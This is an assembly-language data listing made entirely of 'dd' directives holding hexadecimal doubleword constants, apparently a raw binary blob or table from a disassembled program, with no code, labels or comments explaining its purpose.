dd 1BD8BC0Ah, 0E090CD9Dh, 35CE11h, 0FD4E28D6h, 83109C49h
dd 30B68B00h, 32051465h, 687402A0h, 89872F5Bh, 0DCF655C0h
dd 299F4800h, 42E19A4Fh, 71A6246Ah, 10B119D1h, 81045FDBh
dd 0DADEDD04h, 935CF0h, 114190EFh, 21D232A8h, 80EBF73Bh
dd 56E7228Ah, 70EC4Dh, 0AE7ED0EEh, 10620BF2h, 140B28E6h
dd 0E9C266h, 0F039FAE7h, 0B9F40E1Dh, 21E0AFEAh, 0FE7F243Fh
dd 0DA61D900h, 64346B51h, 0A4D21CC0h, 5A00F9DFh, 1E0644D7h
dd 0AA0055B8h, 0AD669827h, 483E38E3h, 700796DEh, 5EC313h
dd 0E6271FBFh, 76C68900h, 0CB804F5Dh, 84200042h, 6286E0FEh
dd 4500DE0Dh, 0DAFA229Eh, 1E81F299h, 5A30433h, 0C96575h
dd 0E0222CE3h, 43016C89h, 263964FCh, 1CF0975Bh, 19A91F07h
dd 0C1CF5E35h, 7F69037Ah, 9C9DE8C9h, 8A285C17h, 0C085C00Fh
dd 0CDC466ECh, 2800045h, 0FA9DE68Eh, 69037F13h, 49EBBF6Fh
dd 0CC0FD01Ah, 95FF50BAh, 50BC3B2Ch, 0C01C28h, 218CF3C4h
dd 2742460h, 58E63200h, 55AF7A89h, 0D1000C5h, 43404C27h
dd 1D026DB3h, 0B69061CBh, 1FE8A045h, 677CC4h, 0D6A27627h
dd 0E2E56699h, 4A96EB00h, 0B45A911Bh, 9C4F003Eh, 6CA0538Ah
dd 36017D82h, 0F7BCE279h, 0E3E0079Ah, 426D0566h, 0A6F3C7h
dd 0CE06FF98h, 0B204248Bh, 0E6628FA9h, 18DD3BC0h, 7CEA4Bh
dd 0A39C7625h, 0F21D2606h, 97358C00h, 0D5C16C01h, 91E900EAh
dd 54CB6EC5h, 2D00DC66h, 1CDFAF4h, 0F39BA6D2h, 0B24BF8h
dd 814C433Bh, 9C732D40h, 526F1300h, 0A6D3C25Ah, 51DE00C4h
dd 6BA418F5h, 560BDF8Ch, 0E5A299Dh, 0AFBF40ACh, 0B732C5h
dd 0F6803A28h, 97A99B3Ch, 2612F8E0h, 7C00BC0Dh, 0E0197ACFh
dd 8AC00E47h, 7CC1B505h, 0C8EDCEACh, 3700BAD3h, 3887D82Fh
dd 211CD2h, 4F7BAFB5h, 10A13079h, 8F00BE6h, 778F1F00h
dd 0ECE3160Ah, 9BEA262Ah, 0C74A0069h, 86F3BACDh, 210078FAh
dd 0C6F4A7D9h, 0F258AFh, 4502E8B8h, 74845344h, 0FEA92101h
dd 7F649F8Fh, 9951E852h, 0D8F834B0h, 95B600B7h, 0B2065726h
dd 141E8D04h, 4C40F25Eh, 7C828E0Fh, 0DF801218h, 0C5400059h
dd 3224304h, 627E5700h, 6E32C4CCh, 781490DAh, 0B5E20FF3h
dd 37E09D15h, 0A1EC7B89h, 4CCEC700h, 6CCDEF8Ch, 0EA1D1357h
dd 271840BBh, 81C60A7Fh, 21713200h, 0DE7A9B93h, 8357006Ah
dd 612ED152h, 6BE27CC6h, 0B88B5003h, 8098BAE6h, 0E475A918h
dd 9F50BD27h, 80CEE83Ah, 55BD3F2Eh, 410784h, 3B051909h
dd 7960CCABh, 0E6B72407h, 4A809932h, 0FAC9Eh, 4B59F6EEh
dd 534D96C8h, 47BB7401h, 87345738h, 3CC55DF0h, 8F05A360h
dd 0C03F5C50h, 0AD5ABB33h, 35181A00h, 560F2181h, 0B74A5C16h
dd 9C973700h, 0C4016122h, 852CC800h, 4923FDFh, 2625077Fh
dd 17E5639Fh, 80F78483h, 0C9D7A795h, 6AC34300h, 9C54B4BEh
dd 0BB81445h, 3900C180h, 5E7D1766h, 0FF6012CCh, 585CD80h
dd 53CF00A7h, 9760B63h, 8F007A8Eh, 6126C4DFh, 0FFFD2B8h
dd 1F8949F2h, 0DD8DB7A1h, 2EE0E011h, 19122703h, 0E8ED79FEh
dd 1CEAB0h, 113B7D0Eh, 0B275F42Ch, 0A839E100h, 0A9885678h
dd 0E09001h, 0C2E3E4A5h, 242BFD73h, 0EC1BBD00h, 0FE647E99h
dd 0ADF85Ah, 6BC32EFCh, 3EDC584Dh, 0CA235E00h, 669BB3EDh
dd 0B7AE00F3h, 3A1F0C7Bh, 3300A8BBh, 3FAD8162h, 0EC8EBC2h
dd 0CF20547Ch, 4CB6B881h, 0B1DCF872h, 0BC294000h, 0F9240269h
dd 27431337h, 5FC440F4h, 1FD54AE6h, 77412100h, 10C36C8Dh
dd 0E81D0765h, 8069532Ah, 0ADC228B4h, 14581702h, 608AC6FEh
dd 9154AD8h, 0E193D721h, 0C7809800h, 0EC006716h, 5097E84Eh
dd 830D78h, 0DC2BDAE5h, 0D75CD989h, 0E4FBB707h, 0F6F0C1A3h
dd 11115E7h, 0E9499210h, 0D469F398h, 6800A76Fh, 83FE8B4Bh
dd 4F97CDh, 8C18861h, 6AAFD8E7h, 39C3F700h, 7747FA7Ch
dd 3F93B0E1h, 299F4DE2h, 902620h, 671BEDA3h, 1300EA9Ch
dd 0EEE2E13Eh, 0CADB24h
dd 563F5961h, 2A7EC7F5h, 0DE098300h, 37F19FC1h, 81CF00E0h
dd 17073C3Fh, 5800E76Bh, 4E702582h, 5C0477h, 0E39E4EEh
dd 432A6837h, 0F6BF8E00h, 1B9BD236h, 0EA2C008Dh, 0E1ABC719h
dd 900A88Bh, 0B33643AEh, 0F4E5E418h, 9FD03CF2h, 0D5871A80h
dd 1211079Eh, 9A21E300h, 2F1DDBA5h, 953F00E2h, 56B70AFDh
dd 4300D14Bh, 6153723Eh, 7E381C77h, 0D35F00CAh, 9ED02FA1h
dd 0B47DEC7Eh, 63029C00h, 31A6C898h, 0FB7E09h, 0DCF7F008h
dd 0B887C4B4h, 9912350Fh, 703F039Ch, 2F56E0CCh, 4FA60BB7h
dd 0AE80A07Bh, 8CB6FB52h, 0C9901500h, 0AA45FDB8h, 0B43B0E2Eh
dd 0A7A03E3Ah, 67D67F93h, 0B029601Ch, 68D0E840h, 0F4B20A92h
dd 24401F6Dh, 3A80CF96h, 0D70778BDh, 0B1D127B3h, 200694D3h
dd 1B3BE487h, 51B4806Dh, 0DE2C86EAh, 150C030Dh, 1858AA93h
dd 0A8A8A583h, 0BB3F731Dh, 0EB678002h, 98F04407h, 12B31D16h
dd 2417C05Ch, 25A56ACBh, 34234C00h, 7C66CF30h, 8FA43078h
dd 415F890h, 0A52ADB03h, 8E6936BBh, 1EEE3F18h, 65116380h
dd 66E18044h, 0C680A0Bh, 129A80A6h, 7EDBBCEh, 0B105365Ah
dd 0D5F870E9h, 0B824E1C8h, 1F00B925h, 47841395h, 721E00B1h
dd 628DD95Dh, 9EF093E8h, 992E323Ah, 0B3A92405h, 0A7ACD4h
dd 394C3014h, 65DA8609h, 64C34F24h, 0BB7D1Ch, 74B8914Dh
dd 163B5685h, 0A8AC9D06h, 640529A4h, 10178642h, 6B1EF152h
dd 7EBB0Ah, 6ACAF2E5h, 34839540h, 408841B8h, 0CC1AB494h
dd 2700B16Eh, 44C6FAAEh, 1DB24EC0h, 4DA0EEh, 0FF7168Ch
dd 4A00DB20h, 0EA43884Ch, 0ECB414Eh, 50659C80h, 60FCD4E0h
dd 0A1009B7Ch, 0DEA4DD75h, 0EC03A20Fh, 1619F417h, 0A757B0h
dd 0AE8D2810h, 0E4E3336Bh, 0C300A9FCh, 0DB759DBDh, 60EE6Dh
dd 35035F72h, 3B270AFBh, 0AAAB5807h, 208F2D4Eh, 8C80EF4Dh
dd 0AAFE78A4h, 4AC0880h, 12024B64h, 0CBD4104h, 0C030563Ah
dd 0A578AE64h, 0FD050026h, 974138FBh, 0AC7CBF10h, 0C2B9F28h
dd 46101D43h, 62F98891h, 1111906Eh, 9E22910Ch, 10AD4304h
dd 5849842h, 859E21CAh, 90422108h, 84679710h, 2421F059h
dd 86150861h, 8826D21h, 5242AB71h, 0C0D1183h, 293CA9EBh
dd 0F9584984h, 813C9570h, 0F8D03C11h, 0A0495B47h, 51247C4Ch
dd 382A1585h, 6D6F230Ah, 0BD80B83Bh, 0F1D77BADh, 4B570695h
dd 39AAD010h, 0D60CA6E0h, 601C1BF2h, 0FB3D0712h, 60D1B909h
dd 0DB45C5A1h, 0F069F700h, 303C3B31h, 60620059h, 6E5DCB22h
dd 0BB605A6Dh, 8090F208h, 5827006Ah, 0AAD4C6A1h, 87703CEAh
dd 2CED4614h, 0AB56C14Ch, 788EAA1Dh, 53018826h, 70AF5006h
dd 84A04769h, 0A800936Dh, 0BD96DB83h, 78F8C0Eh, 84903B16h
dd 46C02FB4h, 97E2E09Dh, 0C5A25700h, 2D8C8A4Bh, 92380A24h
dd 0C41C9520h, 2668B2h, 2A1D745Ah, 0F7DFB186h, 573CE31Dh
dd 33853B05h, 5710C02Ah, 0DE7F0089h, 8635B2B9h, 1440D0FFh
dd 0B54A0501h, 0DC167265h, 2500D57Fh, 67A927F5h, 0FEA282Ch
dd 799BB551h, 405CB22Ah, 0DB7CA833h, 0F2A38500h, 4C949856h
dd 0DCC30128h, 5CED40C7h, 5F65D096h, 549C1E1Eh, 5C86180h
dd 0DB13F9Dh, 0C015D342h, 3A82088h, 1871E304h, 1080B2BFh
dd 14C7DF3Fh, 145F4622h, 0B7C3047Dh, 31FD14Fh, 103FB950h
dd 0EC6241B0h, 0B2AF46A2h, 4C9CB4h, 3C45E058h, 0C9699DDh
dd 3E70107Bh, 64835A24h, 40564B80h, 9A8EC874h, 33AD2438h
dd 0E101803Ch, 51109BCFh, 4BCC8154h, 920EF7B8h, 9E33E58Ah
dd 9BB18B80h, 122CD9AFh, 6268965Dh, 9E1DC474h, 0CDD2C094h
dd 0EA88A730h, 0B30E5600h, 0C39960FEh, 3ACE65Eh, 0D88E75F0h
dd 2CD85D37h, 9E74F303h, 47582405h, 0AC835B06h, 20C629h
dd 765134E9h, 84681FD4h, 13D2C0F3h, 0DFA56F07h, 37401A93h
dd 7F61E292h, 0BDD53B6Bh, 0F5470287h, 3251E156h, 4F308F8Ch
dd 2AD9A658h, 0B2A00058h, 739A77FEh, 0EA78E2DDh, 480C1100h
dd 56CB088Fh, 0E4500024h, 24B0D0Ah, 5F0016A9h, 1CDC8655h
dd 0A56F7BACh, 39645044h, 0E5DD84A8h, 2DCD6801h, 12DC3AF7h
dd 372ACC0h, 238B3DE6h, 0CEC0A35Bh, 0E21D3BA5h, 0B6001427h
dd 0C512022h, 4B39020Bh, 0E6613E8Ch, 734AA660h, 7200CB74h
dd 972C2E11h, 0D8228Dh, 0A3965E18h, 39AC0E7Bh, 0C9B06106h
dd 8927BFh, 0EF906928h, 867D1413h, 0E3FEA002h, 94681881h
dd 0B8A80E84h, 43858BA4h, 0C2A0008Fh, 39AFF75Ch, 0A533F100h
dd 0B424D5C1h, 0F09AE622h, 1A580054h, 0C7A23992h, 401D072Fh
dd 0D58949F7h, 69042097h, 1ECDBE0Fh, 19555A3h, 5B0EEE8Ch
dd 0BFD04053h, 3288C8E2h, 521C03B5h, 0E51DB4EFh, 0D39DA098h
dd 43A18300h, 0EBA39747h, 18EF285Ah, 0F7A7CB4h, 0BE4BD280h
dd 28DB73E3h, 0B83DFC8h, 0F65AE818h, 55D80h, 0A0E5D9C9h
dd 0ADF0D725h, 0B6CD20FFh, 0D43BF3F2h, 0EDEBEF9h, 7598891h
dd 53415476h, 0C2245AFh, 1C1B66BCh, 87D8EE60h, 4887664h
dd 0FE351E89h, 534813Ah, 4A6AC10Fh, 6FEE7FCh, 79C88C08h
dd 0F46D5202h, 90064200h, 0C9E23112h, 81D80A7h, 0E0448520h
dd 528A5699h, 0BDE03500h, 0A9B3D21Fh, 121E0F64h, 20986986h
dd 4B07A03Fh, 4FFACCDBh, 0D8650E30h, 0CBC68998h, 1601021h
dd 0A5D7FAA1h, 0FBE71752h, 1001BE85h, 5ABD37F9h, 10CD9108h
dd 95E921CBh, 4B7800E7h, 93E23063h, 109AF39h, 20EA4Ah
dd 6EDB7D6Dh, 5266063Eh, 0B0B9ADFFh, 39610DFCh, 5E8736D0h
dd 494C4081h, 0B9BAFACFh, 0AB8D8h, 5C280873h, 6CB994Bh
dd 0C0974D9Dh, 3918908Ch, 5A405D0Ch, 256803DDh, 4D9306C3h
dd 1D004876h, 0CD3664A8h, 308AA4D8h, 0FFC9AA2Bh, 0CE8FD93h
dd 0DBB4C106h, 1CA04775h, 5968DC33h, 603948E6h, 20295010h
dd 490CB0D0h, 3C80C0B6h, 70005CE9h, 51E30453h, 0D0ABFA90h
dd 85A7EAD0h, 48DD8A4h, 5D5B2BC1h, 0DA21085h, 21A800F1h
dd 52852219h, 0B9A51018h, 70962BA8h, 0B53C0AB4h, 16985A91h
dd 29C51821h, 0FD402E02h, 5E448632h, 0C72C4431h, 0C851516Fh
dd 0FF6C84B5h, 504D0E42h, 8B934100h, 455A3B7Dh, 11BB8A00h
dd 0E3EC0853h, 46740962h, 8200427Fh, 0A3369F1Dh, 1C843300h
dd 6D48DB90h, 2E4E03A8h, 8B542446h, 0C9D4B9B0h, 800D5C3Eh
dd 9CF8F02Ch, 3BEAA731h, 5E946E29h, 0E600AD11h, 3CF97FFEh
dd 2800E29Bh, 0E8F7D8C7h, 702112h, 4AB0C5E1h, 48B97BF2h
dd 1798F9E2h, 32058007h, 1911A370h, 0F7C8CA1Dh, 0D91E0327h
dd 5991E518h, 4FA23D0h, 0C139A12Dh, 40E2439Ch, 143A8Ah
dd 0B16557B8h, 51E1ABE6h, 7077353Fh, 0AC7B3Ch, 961B013h
dd 4B7A3Fh, 0A1CAFAD1h, 0B244E90Fh, 5D1DCE00h, 0D64F2DDh
dd 9066772Ch, 42F8010Fh, 1BFC7E3Eh, 2AC8D4A6h, 0A48FFCABh
dd 0AEB890A2h, 7C071E8Fh, 0ED4F382Ch, 0C7C3E737h, 0CEC1F5AAh
dd 88507D74h, 3A5B0B8Ch, 8F005809h, 0E30E1EB5h, 0E27516BAh
dd 0C5C9EA00h, 27FF860Dh, 555B03CBh, 68B203D3h, 0D195A0DFh
dd 1E1C2CF4h, 5BC678D0h, 98D29Bh, 5328606Eh, 7CD8808Ah
dd 0D7188B73h, 4750F93Ch, 0C2C700DAh, 0A9045788h, 6F1CD25Ch
dd 0C183AF8h, 7C7D8111h, 0C793019Dh, 7940E19Bh, 0D670203Ah
dd 6ABF6603h, 33BFF51h, 0A30A6CD0h, 0EC8898C9h, 1C09147Eh
dd 318128h, 7B974404h, 18A101E8h, 0AFECB7C1h, 22D8E075h
dd 40E50800h, 0F669A6D6h
dd 0F868000Fh, 0BAB52312h, 5200C007h, 5548BEA1h, 561C67h
dd 95FB10DEh, 0EA456E60h, 0FE1930C0h, 0B34DF5h, 0DE139087h
dd 884E837h, 0C800CFFCh, 0E17A014Bh, 3FF29AFEh, 0E90E29D6h
dd 0E50194A4h, 0ECB21A74h, 0F800DEC8h, 0CD8AFBFCh, 3F9B631Ch
dd 52879EB5h, 60A6503Dh, 8C1EAE6Eh, 0C914461Dh, 612D9F00h
dd 24A272EDh, 0F043BA1h, 0C060651Ch, 826DBDE7h, 0F8058D02h
dd 60961A8Eh, 7577DE1h, 782ACA0Eh, 0D9C4903Ch, 0EC00814Ah
dd 0F3BB6CBAh, 12FF192h, 7D4F872Dh, 604DA56Ah, 0F0002446h
dd 26CB736h, 0AFA81F4h, 0FF7EE729h, 9EE479F0h, 9200631Ch
dd 0BB94C226h, 12107F53h, 1F68E0D2h, 0E9B7005Ch, 839E9F03h
dd 0C2DB8C07h, 0AE9223DFh, 0A98403Fh, 9705056Bh, 2BFE5Eh
dd 4AE7C3E8h, 0B624AC85h, 0F103C0F9h, 0F0B7960Bh, 12C7D4h
dd 65F5A7E8h, 69CFC8EEh, 9A75D300h, 9AFC25Ch, 40F6001Ah
dd 9807F599h, 7A003C67h, 2F1143B8h, 202F86Bh, 0AA84F076h
dd 0AEC0E6C6h, 50056E2h, 88ADC374h, 0FF16D83h, 0CCAA4626h
dd 5790BB00h, 10008191h, 79F3F406h, 0DB5899h, 0EB2FB1C8h
dd 28229211h, 3A386700h, 272A5A0Bh, 1FA573A0h, 8A6B1C61h
dd 0E03431h, 3F083C7Ch, 553F5C47h, 572200E0h, 4535736Eh
dd 0F7DD0053h, 3FC3AC68h, 2300E199h, 0CBC9A7B8h, 0B8D5269Ah
dd 4F51000Dh, 5DB002BDh, 0E7506752h, 0C71004E0h, 80A0B618h
dd 82058A97h, 0A8C3473h, 538FC000h, 9022F29Fh, 0C41C26B0h
dd 0BB4E066Eh, 7F7E2021h, 107A5607h, 760CE04h, 0ECBE4349h
dd 1A7B0073h, 0FB70FA0Eh, 8100F51Bh, 8CB7D767h, 59D2E1h
dd 0C7C0A5E5h, 0BED1FC25h, 1D002FF6h, 208C62B1h, 7DB6C69Bh
dd 0DB4009Eh, 0B838B075h, 100336Ch, 2C0B739Ah, 1CDADFD5h
dd 10DF9D7h, 0AEF38CE8h, 7AAAF8FDh, 0F48E3002h, 400FCF23h
dd 0C51791Bh, 0C2F06BBAh, 710359ACh, 0E68B91FBh, 7789C8C8h
dd 0DDFE3Ah, 9CBB3B6Bh, 0F860FC6Ah, 0BE59B400h, 0F2D0DCEDh
dd 0CE24C009h, 3878FEFFh, 0CF6E2500h, 397628BFh, 80E667h
dd 2CFD1AE6h, 6E335D48h, 0CE437900h, 4902650Bh, 0B9CB3ED0h
dd 0BEDEA580h, 10EAF673h, 6B528B00h, 65262CE8h, 0D0590018h
dd 3C9EF17h, 0D400AF78h, 2291B946h, 318375Eh, 0B0A0D328h
dd 5B884F70h, 620978A8h, 0C7BB07h, 0A22A538Dh, 6A1500F9h
dd 1CA87799h, 0D7004C5Eh, 2FC3B94h, 0E4C937h, 5F10B071h
dd 761DB734h, 23784C03h, 98453270h, 84559Fh, 7DF54761h
dd 0EFEB9CF4h, 0B78A8800h, 0B8AD1B72h, 0A23A1E6Dh, 2187C360h
dd 47987A38h, 6C1D2092h, 8040BBACh, 0A60ECC79h, 0DDEF3BFFh
dd 91F2C280h, 0F8331762h, 5B524A00h, 0EEE35A1Ah, 828B0028h
dd 0ACC0B19Ah, 6E07F5B3h, 3B92E754h, 0E58569E0h, 90F815h
dd 5D657F53h, 0BAC734D8h, 0E4754400h, 5B4D6163h, 9AA01C73h
dd 5EF2C1C2h, 0E842B743h, 6F38D070h, 4F1580B3h, 0A44CA629h
dd 971B00A1h, 764B187Eh, 27016F85h, 6DD546F6h, 57F05F3Bh
dd 8BCE1D29h, 4AEC80C3h, 265297E7h, 0FDA458h, 0D740B3B4h
dd 0E8856A2Bh, 3F603A54h, 0F5A27380h, 27D1134Bh, 0AD28CD60h
dd 0ED71F8Ch, 4363FF4h, 0BAEB8C0h, 31184BA5h, 62601271h
dd 0EDA0021h, 0A12854D3h, 41C25127h, 40D9148Dh, 7038F131h
dd 0D8CA1C2Bh, 1E901DBh, 0D76490C9h, 0F01B9E81h, 500AE93h
dd 0C5A43AE0h, 803804h, 0BF30FFACh, 0B5CDECE5h, 93F68D1Eh
dd 0C7AAA5C0h, 6F9E63h, 2B3F9497h, 0F5A09821h, 0F2EE5371h
dd 68C09300h, 1B4EBCFBh, 6C9B00C8h, 5A3E2042h, 7B0FCDE9h
dd 230C3618h, 0D0A81EE2h, 1CEB9B23h, 16F95Ch, 6DE722C0h
dd 673D6C1Dh, 589C8075h, 77832F73h, 0EBAE79CCh, 0E65F7870h
dd 0CB5B0B0Ah, 0C8837B71h, 0D5F00F69h, 0B85B1DEEh, 0E005DECh
dd 9F12E013h, 0F54C2888h, 3B080043h, 0F1779382h, 27F878h
dd 0BF74B4B7h, 0A15A2331h, 7D2DF500h, 4C98EBB8h, 86F91F18h
dd 613C8F2Ch, 595D60A0h, 7D0011A8h, 0FAD4728Ah, 0E18961Dh
dd 0D75BC388h, 8B840012h, 4C941506h, 7FC7E700h, 0B0F04749h
dd 0E1F23E0Ch, 3C128A80h, 43C6302Bh, 5319A500h, 5542EAE7h
dd 0D4B70082h, 0F7324760h, 1450F4F0h, 857581D0h, 0F1BC0200h
dd 299E3890h, 0DF6D0098h, 0D1B1D695h, 0F200F7F6h, 47340827h
dd 0F27F5444h, 1D6F0019h, 9FC3AA9Dh, 0D1763AD0h, 0DB6D7504h
dd 6BC0C142h, 0E03E53h, 3F69340Eh, 0E3CE62F6h, 0DFB0F700h
dd 0D6EDFBF8h, 64DC004Bh, 0EA5F360Eh, 262E161Dh, 6600012Eh
dd 0DBDD2DE2h, 0D0240086h, 0ABB7B1C4h, 640042BCh, 0F78B8859h
dd 0F0B84Dh, 37CB271Fh, 8393334Bh, 267B1000h, 5DBA7113h
dd 0CFFB2C6Dh, 0FD980013h, 0A1359169h, 15CB5801h, 0B16FA9D5h
dd 8FA860h, 8A2EA237h, 315DEE17h, 0D0F69500h, 6CD8AD56h
dd 0E92C004Dh, 2BA5B3CEh, 8E001028h, 0EED35AB4h, 129E6FEBh
dd 3A175Bh, 849027ABh, 0E203ECD4h, 4C35BB50h, 862C9001h
dd 0BC775Ch, 3DE4B3D1h, 0B22158A3h, 74F21802h, 81C6E1D5h
dd 4EC5DEA4h, 0CC0CC0D7h, 0A7D81C38h, 1AD2872Eh, 21FB3148h
dd 8B422062h, 0EB4C2400h, 0A93F148Fh, 2BD100B5h, 16BC667Ah
dd 7D148C0Eh, 9899D8h, 0A5AE5B4Ah, 340F52h, 0A7B453C9h
dd 996D4E7Eh, 0D2D18409h, 730B93h, 0FAAC0A2Fh, 0B1BA034Bh
dd 543B4332h, 2B7CCAB8h, 0C9D1101Fh, 2EF764C0h, 0F0668D84h
dd 92D93C42h, 4C25CD80h, 0F2CB3539h, 3C0AC00h, 893ACE20h
dd 0EE5C0048h, 0A2E4A58h, 0F500A6D8h, 3F8276A7h, 0F63BAAFAh
dd 642A0266h, 49920B86h, 0B8E73840h, 9809C81Eh, 45EE0700h
dd 361B411h, 13A3EAADh, 75B808D7h, 2600708Bh, 0D95EDA05h
dd 0AE808Dh, 0CB3FF7FBh, 5CE7C21Eh, 5D006EECh, 4DA12622h
dd 0D55F67h, 0E54974AFh, 736347BBh, 31A06400h, 0D3A7F89Eh
dd 27C00084h, 0BEA63709h, 77001850h, 0FFC4297Ah, 7A73697h
dd 460AF351h, 624290EFh, 8E0032B2h, 6ABC8D64h, 0B82FC69h
dd 4C060F18h, 0EEFD3800h, 0E1044A4Fh, 0E00904EFh, 3E658C80h
dd 5A01000Dh, 764D8456h, 7100917Ah, 872C746Ch, 0E083E492h
dd 0EDFC0095h, 9A0AE3D8h, 0A6796AA5h, 88A0E20Fh, 813BC02Dh
dd 0DFB919h, 0FECF4CCCh, 0BF627D82h, 0D73E4800h, 93ABDC6Eh
dd 0CB7B00B8h, 0D69020AAh, 0B11EF659h, 0E0000BEFh, 0DE567384h
dd 578500CDh, 0C2D9F8FFh, 40074788h, 0E021D8B5h, 7D69D5D0h
dd 94D0CF9Eh, 0C56138ECh, 9F7BCBE0h, 0DDF2C00h, 0BF5B2EEDh
dd 219F4B6h, 0C8602038h, 1840D843h, 2C007148h, 531B140h
dd 1C70C953h, 792276B4h, 0CECA5D80h, 0E3399262h, 7AECF00h
dd 6B8620C8h, 2BC40F7Dh, 1F6272F3h, 83E183D8h, 0E39AF0C3h
dd 6E4EA61Eh, 0A9D200F9h, 92B5BC57h, 28E102FAh, 0AAC29550h
dd 0F196A960h, 3CAC0D00h, 8A71814Eh, 0C0031CF7h, 80D3DD0Ch
dd 5936B656h, 0DD988440h, 8B258018h, 0FD9958h, 94AD1815h
dd 1BCED1C2h, 46D94512h, 998BF540h, 0AA43F2h, 0BBC44C7Bh
dd 6E375BE0h, 64478F01h, 414A7E45h, 0E50058BDh, 0A69CB31h
dd 0F8E410F4h, 0D7D2D600h, 632C8526h, 360301BDh, 8F3D9798h
dd 0C86C313Fh, 9100873Eh, 401CEEABh, 0F2949BEh, 0F4BF8436h
dd 91A82A4Ch, 39C8E500h, 0F81DF075h, 6AF71489h, 0DE00D467h
dd 0D40CD7B2h, 3800D630h, 754EAAAh, 55D2C63h, 0F8B1EF48h
dd 7573C016h, 0B360400Dh
dd 9DC09110h, 368038D4h, 49520585h, 69881FFh, 0A22F0DBh
dd 0D23EC000h, 91774F81h, 2CEF0F3Ah, 5F2124DDh, 607A0C05h
dd 0A93CC072h, 5C300ACAh, 0DF12E9A3h, 0D2B10C00h, 2376BB6h
dd 0BF2D50B0h, 30403D3Fh, 7DF2FA03h, 0CEA97118h, 7A7A5F02h
dd 8D460367h, 0EE48E68Ah, 0F7919C80h, 0E253200h, 0CA34F3C6h
dd 0B0F61D73h, 52DD8098h, 0C93B182Bh, 0C6715E00h, 0E3F78C97h
dd 0F3A206A8h, 707993B0h, 3A0D8903h, 0C8A6DEB6h, 782D1h
dd 0EE3354F0h, 0E575B7F9h, 7EC97602h, 0C0788D97h, 3D20AB25h
dd 0B881D6DEh, 0D3B501C2h, 0B7BEC41Fh, 4861AC0Eh, 4A790044h
dd 216F7F3h, 693B27F6h, 0A88184B4h, 2F871B7h, 0F640C0D0h
dd 0C23A0AAEh, 3BC00386h, 8645000h, 0EF17D3E4h, 80399739h
dd 2824A0F4h, 0B0E74045h, 77990C89h, 4790C22Bh, 0B75CE301h
dd 0DA3450CBh, 514CF0h, 95E0B596h, 39E3B69Ch, 0BF788A00h
dd 23CB72A8h, 85100A9h, 1A0FBA37h, 0CA00B3F9h, 66DFAEFFh
dd 706C85Ah, 0B7D5FDF8h, 64E3B3C4h, 2EBA03A0h, 944Ch, 0CD2B4982h
dd 0F834E8h, 447E4D0Ah, 0EEC7BB41h, 111A1001h, 0C15B26C4h
dd 58407E21h, 785F3DEh, 0A32A7749h, 0D7D3F0F0h, 0CF008489h
dd 6D8F507Eh, 0B049C5h, 0FB1E6E27h, 195D9F86h, 90999DA0h
dd 0B9334A1Eh, 3CECAA5Ch, 0F1EADA00h, 3ADE1EA7h, 0C880662Eh
dd 3E0AB12Bh, 90B8AFBCh, 382C4238h, 95BE830Fh, 983AB558h
dd 4692967h, 0BA52A3B9h, 0A5A0803Ch, 860019B2h, 0FAC96C9h
dd 7DE5EFh, 0FB24054Fh, 0C2519803h, 3700A67Ah, 32B71E3Fh
dd 1CC87EF4h, 0C068D060h, 78CC676Fh, 0E303ED7Ah, 0B05F9475h
dd 70D498B6h, 5A62020Eh, 2A6F9F33h, 5560EF8Eh, 0D1D0C426h
dd 0BA3ED40Fh, 6356C010h, 0EAEB0D37h, 0DB30384Ch, 0E1BF2Ch
dd 889F0848h, 3B1E94B0h, 9A00C66Ah, 3A7A5AB5h, 7C8426BAh
dd 0C92008E0h, 0BBAA6980h, 4D181Bh, 489F8A7Ah, 2C158CB7h
dd 9AA25C00h, 306D8B97h, 0E2B9048Dh, 808F3F02h, 0D29CBA98h
dd 552858F8h, 0F9B0E051h, 0B883993Bh, 0FA068028h, 4810DD62h
dd 0C6E65C1Ah, 3D5B310Fh, 0FF7FC260h, 0E00F365h, 52B36EEh
dd 9B2545h, 0CD8914Eh, 1D4A88D5h, 8B1CE100h, 0AD411F3Dh
dd 0DB8F3909h, 4FAED80h, 0A31D7163h, 0C585B800h, 0A769B231h
dd 0A27B00C6h, 77D9BD97h, 33E8DFA5h, 1B8E8000h, 4D83CA11h
dd 2B7846h, 6CEB2A55h, 0A8D7F87Ch, 60B7C900h, 1E7026D4h
dd 5783003Bh, 6675FEBDh, 310040A3h, 4950150Bh, 0F0604F4h
dd 0DAA25B20h, 0E9612F2Eh, 0D0594AD0h, 9900EF54h, 0BA428E3Dh
dd 16A7A0h, 0C866B171h, 29CE10A2h, 0B81F38h, 1C15D783h
dd 0F7ED57h, 0D451F079h, 8D0F6B5Ah, 0F2458407h, 4CE029DBh
dd 175D415Bh, 7F08052h, 67F89BA9h, 65B1F085h, 320399C9h
dd 0FEA3691h, 2235F8FAh, 0A35200FFh, 6BFE5008h, 970074F7h
dd 0CB617592h, 7C9065h, 47BDB378h, 254CEE53h, 49A7A400h
dd 661B8933h, 9DC40035h, 8A814BBDh, 76261D4Eh, 5F00EE19h
dd 330B962Fh, 0CCEF00E7h, 0D61ECEC0h, 53033712h, 978C44E1h
dd 0D3B991E4h, 0F487E8h, 23548BEBh, 0BD61E67Fh, 779C3Eh
dd 640B001h, 5876AAE3h, 1D1F5C6Eh, 60007CDCh, 0A0042AACh
dd 0B10042B8h, 0AEA83AC9h, 0F88AC5h, 1DE16F69h, 0DC15814Ah
dd 2A10A00h, 0C07916EBh, 7F07483Ah, 0EC80833Bh, 43709318h
dd 9900F53Ch, 0D566DC5Ch, 0B0E5C7FEh, 4BC300FFh, 0A1263A14h
dd 1900EA48h, 3FC85102h, 0B3035Bh, 6E6CE98Fh, 0DCA04FA4h
dd 7ED20700h, 0ED0BFC0Ch, 3D4B01FDh, 30ADB01Eh, 8DF2707Ah
dd 8C4DD13Eh, 1084BC32h, 0ED260068h, 30D658Eh, 0A31F9F0Ah
dd 0C830AF93h, 3846736h, 0B45E650h, 0A7A0F63Bh, 0E8C6906Dh
dd 2110963Ah, 0B080E447h, 7E44CCE3h, 85720014h, 48535287h
dd 0C700B323h, 12C925BEh, 7F9DA3B5h, 0CF55038Ah, 0FE15A110h
dd 524376A0h, 807E6E30h, 300C798Dh, 958C653h, 0E0E78CBAh
dd 46095575h, 8EE6E7ABh, 20E50F22h, 0C3C726FDh, 20705053h
dd 0CE6337E9h, 0DE5080E8h, 0A4F80B44h, 5D044518h, 0E1E68h
dd 516F818Bh, 0B93CFEFBh, 0E0A8F738h, 0D4855C0Eh, 0C6820054h
dd 0A6B5AA6Dh, 2D054353h, 55AB9E4Ch, 4A27C8C0h, 6E0C0F86h
